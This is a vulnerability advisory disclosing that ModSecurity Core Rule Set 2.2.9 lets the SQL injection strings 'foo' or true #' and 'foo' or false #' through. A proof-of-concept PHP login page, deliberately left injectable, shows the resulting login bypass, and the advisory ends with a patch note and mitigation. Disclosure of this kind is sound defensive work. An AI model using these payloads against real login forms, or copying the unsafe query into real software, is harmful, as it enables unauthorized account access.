• Vulnerability: Bypass mod_security to perform SQL injection (login bypass)
  • Affected Software: OWASP ModSecurity Core Rule Set
  • Affected Version: 2.2.9 (probably also prior versions)
  • Patched Version: 3.0.0
  • Risk: Low
  • Vendor Contacted: 2014-12-07 via mail, 2015-02-18 via github
  • Vendor Fix: 2014-12-09 (in dev tree, independent of report)
  • Public Disclosure: 2015-02-18 on github

Mod_Security & Core Rule Set

mod_security is an Intrusion Detection System / Web Application Firewall for Apache, IIS, and nginx developed by SpiderLabs. As a filter list it uses the OWASP ModSecurity Core Rule Set.

Injection Payload

Using the Core ModSecurity Rule Set ver.2.2.9 with default configuration, SecRuleEngine On, and all base_rules enabled, it is possible to inject the following payload, which can be used to bypass filters in SQL queries:

foo' or true #
foo' or false #

POC: Bypassing Login protected with Mod_Security

Considering a simple, unsecured login script:

<html>
<body>
<?php
    if(!isset($_POST['login'])) {
        ?>
        <form action="" method="post">
            Username: <input type="text" name="username"/><br />
            Password: <input type="password" name="password"/><br />
            <input type="submit" name="login" value="Login"/>
        </form>
        <?php
        return;
    }

    $username = $_POST['username'];
    $password = $_POST['password'];
    $con = mysqli_connect('localhost','root','password','database');
    $result = mysqli_query($con, "SELECT * FROM users WHERE
username='$username' AND password='$password'");

    if(mysqli_num_rows($result) == 0) {
        echo '<h1>Invalid</h1>';
    } else {
        $user = $result->fetch_assoc();
        echo '<h1>Logged in: ' . $user['username'] . '</h1>';
    }
?>
</body>
</html>

It is possible to log in as the first user in the database – often the admin – via foo' or true # as the username or password, or to log in as any desired user via a valid username and foo' or true # as password or validUsername' or false # as username. admin' or true # will not work though (neither will ' # or foo' or 123 #).

Mitigation

See my issue report at github, this issue will be fixed in version 3.0.0.

Also, don’t have unsecured login pages (it’s 2015, so use prepared statements already).